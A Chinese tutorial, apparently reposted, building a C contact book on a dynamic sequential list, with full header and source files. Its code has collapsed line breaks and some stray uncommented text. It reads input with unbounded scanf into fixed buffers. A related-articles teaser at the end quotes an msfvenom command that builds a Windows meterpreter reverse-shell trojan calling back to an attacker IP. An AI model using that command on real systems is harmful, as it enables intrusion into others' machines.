C语言.顺序表.通讯录

基于顺序表示实现通讯录

  • 1.通讯录项目的功能要求
  • 2.代码实现
  • 3.头文件处理
  • 4.通讯录的具体实现
    • 4.1通讯录的初始化与销毁
      • 4.1.1通讯录的初始化
      • 4.1.2通讯录的初始化销毁
    • 4.2通讯录的添加与删除数据
      • 4.2.1通讯录的添加数据
      • 4.2.1通讯录的删除数据
    • 4.3通讯录的修改
    • 4.4通讯录的查找
    • 4.5通讯录的展示
    • 4.6对通讯录进行封装
  • 5.整体代码展示

1.通讯录项目的功能要求

  1. 至少能够存储100个人的通讯录信息
  2. 能够保存用户信息:名字、性别、年龄、电话、地址等
  3. 增加联系人信息
  4. 删除指定联系人
  5. 查找指定联系人
  6. 修改指定联系人
  7. 修改联系人信息

2.代码实现

  • 思考1:用静态顺序表和动态顺序表分别如何实现
  • 思考2:如何保证程序结束后,历史通讯录信息不会丢失

3.头文件处理

  1. 通讯录的底层的数据结构是顺序表(提供了许多的现成的方法:增删查改等),所以需要包含 #include “SeqList.h”,包含顺序表的头文件,是为了调用SeqList.c 实现的增删查改等方法。
  2. #include “Contact.h” :通讯录头文件,作用是声明 Contact.c 中实现的方法。Contact.c 是通讯录的方法实现文件。

基于顺序表示实现通讯录:

在这里插入图片描述

4.通讯录的具体实现

4.1通讯录的初始化与销毁

4.1.1通讯录的初始化

//通讯录的初始化
void ContactInit(Contact* con)
{//实际上是进行的是顺序表初始化//顺序表得初始化已经实现好了SLInit(con);
}

图解:

在这里插入图片描述

4.1.2通讯录的初始化销毁

//通讯录的销毁
void ContactDestroy(Contact* con)
{SLDestroy(con);
}

调用情况与初始化时一样的。也是调用了 SeqList.c 中的 SLDestroy( )方法。

4.2通讯录的添加与删除数据

4.2.1通讯录的添加数据

//通讯录添加数据
void ContactAdd(Contact* con)
{//获取用户输入的内容:姓名+性别+年龄+电话+地址peoInfo info;//定义printf("请输入要添加的联系人姓名:\n");scanf("%s", info.name);printf("请输入要添加的联系人性别:\n");scanf("%s", info.gender);printf("请输入要添加的联系人年龄:\n");scanf("%d", &info.age);printf("请输入要添加的联系人电话:\n");scanf("%s", info.tel);printf("请输入要添加的联系人地址:\n");scanf("%s", info.addr);//往通讯录中添加联系人数据SLPushBack(con, info);
}

图解:

在这里插入图片描述

4.2.1通讯录的删除数据

//通讯录删除数据
void ContactDel(Contact* con)
{//要删除的数据必须存在,才能执行删除操作//查找char name[NAME_MAX];printf("请输入要删除的联系人姓名:\n");scanf("%s", name);int find = FindByName(con, name);if (find < 0){printf("要删除的联系人数据不存在!\n");return;}//要删除联系人数据存在 -> 知道了要删除的联系人数据对应的下标SLErase(con, find);printf("删除成功! \n");
}

图解:
在这里插入图片描述

4.3通讯录的修改

//通讯录的修改
void ContactModify(Contact* con)
{//要修改的数据必须存在,才能执行修改操作//查找char name[NAME_MAX];printf("请输入要修改的联系人姓名:\n");scanf("%s", name);int find = FindByName(con, name);if (find < 0){printf("要修改的联系人数据不存在!\n");return;}//直接修改 - 直接将之前的数据覆盖掉printf("请输入要新的名字:\n");scanf("%s", con->arr[find].name);printf("请输入新的性别:\n");scanf("%s", con->arr[find].gender);printf("请输入新的年龄:\n");scanf("%d", &con->arr[find].age);printf("请输入新的电话:\n");scanf("%s", con->arr[find].tel);printf("请输入新的地址:\n");scanf("%s", con->arr[find].addr);printf("修改成功!");
}

4.4通讯录的查找

//通讯录的查找
void ContactFind(Contact* con)
{//要查找的数据必须存在,才能执行查找操作//查找char name[NAME_MAX];printf("请输入要查找的联系人姓名:\n");scanf("%s", name);int find = FindByName(con, name);if (find < 0){printf("要查找的联系人数据不存在!\n");return;}//姓名 性别 年龄 电话 地址//11   11   11  11   11printf("%s %s %s %s %s\n", "姓名", "性别", "年龄", "电话", "地址");printf("%3s %3s %3d %3s %3s\n",//手调试一下格式con->arr[find].name,con->arr[find].gender,con->arr[find].age,con->arr[find].tel,con->arr[find].addr);
}

4.5通讯录的展示

//展示通讯录数据
void ContactShow(Contact* con)
{//表头:姓名 性别 年龄 电话 地址 printf("%s %s %s %s %s\n", "姓名", "性别", "年龄", "电话", "地址");//遍历通讯录,按照格式化打印每个联系人数据for (int i = 0; i < con->size; i++){printf("%3s %3s %3d %3s %3s\n",con->arr[i].name,con->arr[i].gender,con->arr[i].age,con->arr[i].tel,con->arr[i].addr);}
}

4.6对通讯录进行封装

#include "SeqList.h"void meun()
{printf("******************通讯录******************\n");printf("*******1.增加联系人   2.删除联系人********\n");printf("*******3.修改联系人   4.查找联系人********\n");printf("*******5.展示联系人   0.退出     *********\n");printf("******************************************\n");
}
int main()
{int input = -1;Contact con;//通讯录初始化ContactInit(&con);do{meun();printf("请选择你的操作:\n");scanf("%d", &input);//根据对应的input执行不同的操作switch (input){case 1:ContactAdd(&con);break;case 2:ContactDel(&con);break;case 3:ContactModify(&con);break;case 4:ContactFind(&con);break;case 5:ContactShow(&con);break;case 0:printf("退出通讯录.... \n");break;default:printf("输入错误,请重新输入:\n");break;}} while (input);//通讯录的销毁ContactDestroy(&con);return 0;
}

5.整体代码展示

SeqList.h

#pragma once
#define _CRT_SECURE_NO_WARNINGS 1
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
#include"Contact.h"//定义顺序表的结构
//typedef int SLDataType;//方便后续类型的替换
typedef peoInfo SLDataType;//动态顺序表
typedef struct SeqList
{SLDataType* arr;int size;//有效数据个数int capacity;//空间大小
}SL;//顺序表初始化
void SLInit(SL* ps);//尾部插入
void SLPushBack(SL* ps, SLDataType x);//头部插入
void SLPushFront(SL* ps, SLDataType x);//尾部删除
void SLPopBack(SL* ps);//头部删除
void SLPopFront(SL* ps);//在指定位置之前插入数据
void SLInsert(SL* ps, int pos, SLDataType x);//在指定为位置删除数据
void SLErase(SL* ps, int pos);//顺序表的销毁
void SLDestroy(SL* ps);

SeqList.c

#define _CRT_SECURE_NO_WARNINGS 1
#include "SeqList.h"顺序表的打印
//void SLPrint(SL ps)
//{
//	//遍历顺序表
//	for (int i = 0; i < ps.size; i++)
//	{
//		printf("%d ", ps.arr[i]);
//	}
//	printf("\n");
//}//申请空间
void SLCheckCapacity(SL* ps)
{//再插入数据前,先看空间够不够if (ps->capacity == ps->size){//申请空间int newCapacity = ps->capacity == 0 ? 4 : 2 * ps->capacity;SLDataType* tmp = (SLDataType*)realloc(ps->arr, newCapacity * sizeof(SLDataType));//要申请多大的空间if (tmp == NULL){perror("realloc fail!");exit(1);//直接退出程序}//走到这,证明申请空间成功ps->arr = tmp;ps->capacity = newCapacity;}
}顺序表的查找
//int SLFind(SL* ps, SLDataType x)
//{
//	//遍历顺序表
//	assert(ps);
//	for (int i = 0; i < ps->size; i++)
//	{
//		if (ps->arr[i] == x)
//		{
//			//找到后,就返回下标
//			return i;
//		}
//	}
//	//遍历一遍,没有找到,就返回-1;(数组下标不能为负数)
//	return -1;
//}//顺序表初始化
void SLInit(SL* ps)
{ps->arr = NULL;ps->capacity = ps->size = 0;
}//尾部插入
void SLPushBack(SL* ps, SLDataType x)
{assert(ps);//等价于assert(ps != NULL)//再插入数据前,先看空间够不够if (ps->capacity == ps->size){//申请空间int newCapacity = ps->capacity == 0 ? 4 : 2 * ps->capacity;SLDataType* tmp = (SLDataType*)realloc(ps->arr, newCapacity * sizeof(SLDataType));//要申请多大的空间if (tmp == NULL){perror("realloc fail!");exit(1);//直接退出程序}//走到这,证明申请空间成功ps->arr = tmp;ps->capacity = newCapacity;}//进行尾插ps->arr[ps->size++] = x;
}//头部插入
void SLPushFront(SL* ps, SLDataType x)
{assert(ps);SLCheckCapacity(ps);//先让顺序表中已有的数据整体往后移动一位for (int i = ps->size; i > 0; i--){ps->arr[i] = ps->arr[i - 1];}//头部插入ps->arr[0] = x;//有效数据也得自增一位ps->size++;
}//尾部删除
void SLPopBack(SL* ps)
{assert(ps);assert(ps->size);//有效数据不为空//直接使有效数据减少--ps->size;
}//头部删除
void SLPopFront(SL* ps)
{assert(ps);assert(ps->size);//数据整体往前移动一位for (int i = 0; i < ps->size - 1; i++){ps->arr[i] = ps->arr[i + 1];//arr[size-2] = arr[size-1]}//有效数据自减1ps->size--;
}//在指定位置之前插入数据
void SLInsert(SL* ps, int pos, SLDataType x)
{assert(ps);//pos的范围要在顺序表的size范围之内assert(pos >= 0 && pos <= ps->size);//在插入数据前,看看顺序表的空间够不够SLCheckCapacity(ps);//让pos及之后的数据整体往后移动一位for (int i = ps->size; i > pos; i--){ps->arr[i] = ps->arr[i - 1];//}//空出pos位置,插入数据ps->arr[pos] = x;//有效数据自增1ps->size++;
}//在指定为位置删除数据
void SLErase(SL* ps, int pos)
{assert(ps);assert(pos >= 0 && pos < ps->size);//遍历顺序表,让pos之后的数据整体往前移动一位for (int i = pos; i < ps->size - 1; i++){ps->arr[i] = ps->arr[i + 1];}//有效数据自减1ps->size--;
}//顺序表的销毁
void SLDestroy(SL* ps)
{if (ps->arr)//等价于if(ps->arr != NULL){free(ps->arr);}ps->arr = NULL;ps->capacity = ps->size = 0;
}

Contact.h

#pragma once#define NAME_MAX 20
#define GENDER_MAX 10
#define TEL_MAX 20
#define ADDR_MAX 100
//定义联系人数据 结构
//性别 性别 年龄 电话 地址
typedef struct personInfo
{char name[NAME_MAX];char gender[GENDER_MAX];int age;char tel[TEL_MAX];char addr[ADDR_MAX];
}peoInfo;//要用到顺序表相关的方法,对通讯录的操作实际就是顺序表进行操作
//给顺序表起一个名字,就叫通讯录
typedef struct SeqList Contact;//s1//通讯录 相关的方法//展示通讯录数据
void ContactShow(Contact* con);//通讯录的初始化
void ContactInit(Contact* con);//通讯录添加数据
void ContactAdd(Contact* con);//通讯录删除数据
void ContactDel(Contact* con);//通讯录的修改
void ContactModify(Contact* con);//通讯录的查找
void ContactFind(Contact* con);//通讯录的销毁
void ContactDestroy(Contact* con);

Contact.c

#include "SeqList.h"
#include "Contact.h"int FindByName(Contact* con, char name[])
{//遍历通讯录for (int i = 0; i < con->size; i++)结构体地址传参{if (strcmp(con->arr[i].name, name) == 0){//使用strcmp函数来进行对比,找到了return i;}}//没有找到,就返回负数return -1;
}//展示通讯录数据
void ContactShow(Contact* con)
{//表头:姓名 性别 年龄 电话 地址 printf("%s %s %s %s %s\n", "姓名", "性别", "年龄", "电话", "地址");//遍历通讯录,按照格式化打印每个联系人数据for (int i = 0; i < con->size; i++){printf("%3s %3s %3d %3s %3s\n",con->arr[i].name,con->arr[i].gender,con->arr[i].age,con->arr[i].tel,con->arr[i].addr);}
}//通讯录的初始化
void ContactInit(Contact* con)
{//实际上是进行的是顺序表初始化//顺序表得初始化已经实现好了SLInit(con);
}//通讯录添加数据
void ContactAdd(Contact* con)
{//获取用户输入的内容:姓名+性别+年龄+电话+地址peoInfo info;//定义printf("请输入要添加的联系人姓名:\n");scanf("%s", info.name);printf("请输入要添加的联系人性别:\n");scanf("%s", info.gender);printf("请输入要添加的联系人年龄:\n");scanf("%d", &info.age);printf("请输入要添加的联系人电话:\n");scanf("%s", info.tel);printf("请输入要添加的联系人地址:\n");scanf("%s", info.addr);//往通讯录中添加联系人数据SLPushBack(con, info);
}//通讯录删除数据
void ContactDel(Contact* con)
{//要删除的数据必须存在,才能执行删除操作//查找char name[NAME_MAX];printf("请输入要删除的联系人姓名:\n");scanf("%s", name);int find = FindByName(con, name);if (find < 0){printf("要删除的联系人数据不存在!\n");return;}//要删除联系人数据存在 -> 知道了要删除的联系人数据对应的下标SLErase(con, find);printf("删除成功! \n");
}//通讯录的修改
void ContactModify(Contact* con)
{//要修改的数据必须存在,才能执行修改操作//查找char name[NAME_MAX];printf("请输入要修改的联系人姓名:\n");scanf("%s", name);int find = FindByName(con, name);if (find < 0){printf("要修改的联系人数据不存在!\n");return;}//直接修改 - 直接将之前的数据覆盖掉printf("请输入要新的名字:\n");scanf("%s", con->arr[find].name);printf("请输入新的性别:\n");scanf("%s", con->arr[find].gender);printf("请输入新的年龄:\n");scanf("%d", &con->arr[find].age);printf("请输入新的电话:\n");scanf("%s", con->arr[find].tel);printf("请输入新的地址:\n");scanf("%s", con->arr[find].addr);printf("修改成功!");
}//通讯录的查找
void ContactFind(Contact* con)
{//要查找的数据必须存在,才能执行查找操作//查找char name[NAME_MAX];printf("请输入要查找的联系人姓名:\n");scanf("%s", name);int find = FindByName(con, name);if (find < 0){printf("要查找的联系人数据不存在!\n");return;}//姓名 性别 年龄 电话 地址//11   11   11  11   11printf("%s %s %s %s %s\n", "姓名", "性别", "年龄", "电话", "地址");printf("%3s %3s %3d %3s %3s\n",//手调试一下格式con->arr[find].name,con->arr[find].gender,con->arr[find].age,con->arr[find].tel,con->arr[find].addr);
}//通讯录的销毁
void ContactDestroy(Contact* con)
{SLDestroy(con);
}

test.c

#include "SeqList.h"//通讯录的测试方法
void ContactTest01()
{Contact con;//创建的通讯录对象 实际上就是 顺序表对象,等价于SL sl;//顺序表的初始化ContactInit(&con);//通讯录添加数据ContactAdd(&con);//ContactAdd(&con);展示通讯录数据//ContactShow(&con);通讯录删除数据//ContactDel(&con);//ContactShow(&con);/*//通讯录的修改ContactModify(&con);ContactShow(&con);*///通讯录的查找ContactFind(&con);//ContactShow(&con);//通讯录的销毁ContactDestroy(&con);
}int main1()
{ContactTest01();return 0;
}void meun()
{printf("******************通讯录******************\n");printf("*******1.增加联系人   2.删除联系人********\n");printf("*******3.修改联系人   4.查找联系人********\n");printf("*******5.展示联系人   0.退出     *********\n");printf("******************************************\n");
}
int main()
{int input = -1;Contact con;//通讯录初始化ContactInit(&con);do{meun();printf("请选择你的操作:\n");scanf("%d", &input);//根据对应的input执行不同的操作switch (input){case 1:ContactAdd(&con);break;case 2:ContactDel(&con);break;case 3:ContactModify(&con);break;case 4:ContactFind(&con);break;case 5:ContactShow(&con);break;case 0:printf("退出通讯录.... \n");break;default:printf("输入错误,请重新输入:\n");break;}} while (input);//通讯录的销毁ContactDestroy(&con);return 0;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/18429.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【python】OpenCV—Tracking(10.2)

文章目录 BackgroundSubtractorcreateBackgroundSubtractorMOG2createBackgroundSubtractorKNN BackgroundSubtractor Opencv 有三种背景分割器 K-Nearest&#xff1a;KNN Mixture of Gaussian&#xff08;MOG2&#xff09; Geometric Multigid&#xff08;GMG&#xff09; …

WebGL学习(一)渲染关系

学习webgl 开发理解渲染关系是必须的&#xff0c;也非常重要&#xff0c;很多人忽视了这个过程。 我这里先简单写一下&#xff0c;后面尽量用通俗易懂的方式&#xff0c;举例讲解。 WebGL&#xff0c;全称Web Graphics Library&#xff0c;是一种在网页上渲染3D图形的技术。它…

python中的-1是什么意思

python中的-1是什么意思&#xff1f; -1指的是索引&#xff0c;即列表的最后一个元素。 比如你输入一个列表&#xff1a; a &#xff1d; [1,2,3,4,5,6,7] a[-1]就代表索引该列表最后一个值&#xff0c;你可以 b a[-1] print(b) 结果如下&#xff1a; 7 索引从左往右是…

升级鸿蒙4.2新变化,新增 WLAN 网络自动连接开关!

手机已经成为现代人生活中不可或缺的一部分&#xff0c;手机里的功能可以满足大部分人的生活场景&#xff0c;但是最依赖的应该就是手机网络&#xff0c;手机网络突然变差怎么办——消息发不出去&#xff1f;刷新闻速度变慢&#xff1f;仔细检查后&#xff0c;发现其实不是手机…

msfconsole攻击win10及简陋版

kali 攻击机IP 192.168.1.19 win10 肉鸡 192.168.1.15 使用 msfvenom 生成木马 msfvenom -p windows/meterpreter/reverse_tcp lhost192.168.1.19 lport1234 -f exe >muma.exe 接下来把木马复制到 /var/www/html下 开启 service apache2 start 即可下载&#xff0c;需要做…

python数据分析——分组操作1

参考资料&#xff1a;活用pandas库 1、简介 借助“分割-应用-组合”&#xff08;split-apply-combine&#xff09;模式&#xff0c;分组操作可以有效地聚合、转换和过滤数据。 分割&#xff1a;基于键&#xff0c;把要处理的数据分割为小片段。 应用&#xff1a;分别处理每个数…

Linux shell编程学习笔记51: cat /proc/cpuinfo:查看CPU详细信息

0 前言 2024年的网络安全检查又开始了&#xff0c;对于使用基于Linux的国产电脑&#xff0c;我们可以编写一个脚本来收集系统的有关信息。对于中央处理器CPU比如&#xff0c;我们可以使用cat /proc/cpuinfo命令来收集中央处理器CPU的信息。 1. /proc/cpuinfo 保存了系统的cpu…

树莓派开箱

1.树莓派4B配置 CPU&#xff1a;64位1.5GHZ四核处理器。 GPU:Broadcom VideoCore VI500MHZ 蓝牙5.0 电源Type C(5V 3A),也可以使用排针链接5V锂电池最大放电电流必须达到3A。 还有千兆以太网等以后用到再说。 接下来进入文章重点 2.镜像文件烧录 前期准备&#xff1a;1…

AI赋能数字人:打造与语音节奏完美匹配的高质量手势动画

在数字化时代,人机交互正以前所未有的速度进化,而AI数字人的发展正是这一进程中的重要里程碑。近期,一项旨在根据语音内容自动生成匹配手势的技术方案引起了广泛关注,该技术不仅增强了数字人的表现力,也为远程沟通、教育、娱乐等多个领域带来了革新性的应用潜力。本文将深…

【leetcode1944--队列中可以看到的人数】

有n人排成一个队列&#xff0c;从左到右编号为0到n-1&#xff0c;height数组记录每个人的身高&#xff0c;返回一个数组&#xff0c;记录每个人能看到几个人。 类比&#xff1a;山峰问题&#xff0c;高的后面的矮的看不见。 从后往前&#xff0c;最后一个元素入栈&#xff0c…

Apifox 更新|编排模式、Markdown 编辑器升级、自动申请 SSL 证书、用户反馈问题优化

Apifox 新版本上线啦&#xff01; 看看本次版本更新主要涵盖的重点内容&#xff0c;有没有你所关注的功能特性&#xff1a; 自动化测试新增「编排模式」Markdown 编辑器全新升级返回响应直接预览 PDF 及视频自动申请 SSL 证书支持配置自定义域名的子目录流式接口支持筛选和清…

Canny算子

Canny算子_百度百科 (baidu.com)https://baike.baidu.com/item/Canny%E7%AE%97%E5%AD%90/8821789?frge_ala 图像处理中最经典的边沿检测算法&#xff1a; Canny边缘检测_哔哩哔哩_bilibilihttps://www.bilibili.com/video/BV1U4411277i/?spm_id_from333.1007.top_right_bar_…

基于模糊PID控制器的汽车电磁悬架控制系统simulink建模与仿真

目录 1.课题概述 2.系统仿真结果 3.核心程序与模型 4.系统原理简介 5.完整工程文件 1.课题概述 基于模糊PID控制器的汽车电磁悬架控制系统simulink建模与仿真。 2.系统仿真结果 上面的仿真结果是无控制器和LQG的对比&#xff0c;以及有控制器和LQG的对比仿真。 3.核心程…

win10桌面右键-新建文件夹-死机-修复

死机->任务管理器->重新启动 任务管理器&#xff1a;重新启动“文件资源管理器”或者关闭“文件资源管理器” 快捷键&#xff1a;CtrlAltEsc 关闭后桌面黑屏重新启动&#xff1a;文件->运行新任务->输入 explorer ->确定 死机-> 事件查看器->排查错误 …

Qt串口异步通信案例(从机线程)

文章目录 串口线程类初始化串口类打开串口并发送数据析构函数 窗口设置窗口函数实现 串口线程类 SlaveThread&#xff08;从机线程&#xff09; 目的&#xff1a;等待并响应来自主机的请求&#xff0c;然后发送预设的响应数据。 关键行为&#xff1a;线程启动后&#xff0c;通过…

STL库--string

目录 string的定义 string中内存的访问 string常用函数实例解析 string的定义 定义string的方式跟基本类型相同&#xff0c;只需要在string后跟上变量名即可&#xff1a; string str; 如果要初始化&#xff0c;可以直接给string类型的变量进行赋值&#xff1a; string s…

Vue3+vite项目中使用mock模拟接口

安装依赖 分别安装vite-plugin-mock跟mockjs两个插件 npm install -D vite-plugin-mock mockjs vite.config.ts中添加配置&#xff0c;主要是红色标记的配置 注意此处如果配置出错可能是vite-plugin-mock依赖的版本有问题&#xff0c;重新安装一下依赖指定版本即可&#xf…

Pytorch环境配置2.0.1+ Cuda11.7

查找cuda、cudnn、Pytorch(GPU)及cuda和NVIDIA显卡驱动对应关系 查询可支持的最高cuda版本 nvidia-smi查看支持的cuda的版本 CUDA版本对应表 我的显卡驱动是Driver Version&#xff1a;535.40.&#xff0c;那么左边对应的CUDA都可以兼容 右上角为CUDA 版本&#xff0c;可以看…

Ubuntu配置Git

安装git sudo apt install git 查看是否安装成功 git --version 配置git 用github上注册的用户名和邮箱地址&#xff0c;配置git git config --global user.name "username" git config --global user.email "usernameemail.com" 重启ubuntu查看…

Collection(一)[集合体系]

说明&#xff1a;Collection代表单列集合&#xff0c;每个元素&#xff08;数据&#xff09;只包含一个值。 Collection集合体系&#xff1a; Collection<E> 接口 (一&#xff09;List<E> 接口 说明&#xff1a;添加的元素是有序、可重复、有索引。 1. ArrayLi…